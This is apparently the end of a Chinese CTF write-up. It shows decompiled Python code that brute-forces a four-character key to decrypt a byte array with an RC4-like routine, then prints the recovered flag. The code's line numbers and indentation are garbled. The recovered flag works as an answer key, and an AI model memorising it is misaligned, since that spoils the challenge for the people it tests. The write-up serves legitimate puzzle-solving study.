75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from hashlib import md5

def encodestr(string,keyc):
UC_KEY = '123456789'
key = md5(UC_KEY.encode('utf-8')).hexdigest()
keya = md5(key[0:16].encode('utf-8')).hexdigest()
keyb = md5(key[16:32].encode('utf-8')).hexdigest()
cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
box = range(256)
rndkey = [0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])
string_length = 49
result = ''
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

a = 0
j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(string[i] ^ box[(box[a] + box[j]) % 256])

return result


if __name__ == '__main__':
d = [
128,
220,
109,
113,
242,
153,
181,
203,
21,
122,
2,
101,
42,
55,
56,
19,
190,
181,
99,
47,
217,
109,
129,
221,
9,
65,
235,
48,
197,
103,
123,
86,
25,
112,
172,
175,
42,
168,
232,
81,
224,
170,
16,
210,
98,
229,
15,
30,
134]
for x1 in '0123456789abcdef':
for x2 in '0123456789abcdef':
for x3 in '0123456789abcdef':
for x4 in '0123456789abcdef':
keyc=x1+x2+x3+x4
res = encodestr(d,keyc)
flagbool = 1
for i in res:
if ord(i)>128 or ord(i)<20:
flagbool=0
break
if flagbool:
print res

运行后得到

1
flag{$h0w_m3_7he_m0ney}

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. WEB
    1. 2.1. web签到
    2. 2.2. web1
    3. 2.3. web2
    4. 2.4. web3
    5. 2.5. web4
  3. 3. MISC
    1. 3.1. misc1
    2. 3.2. misc2
    3. 3.3. misc3
  4. 4. Crypto
    1. 4.1. crypto1
    2. 4.2. crypto2
    3. 4.3. crypto3
    4. 4.4. crypto4
  5. 5. Re
    1. 5.1. re1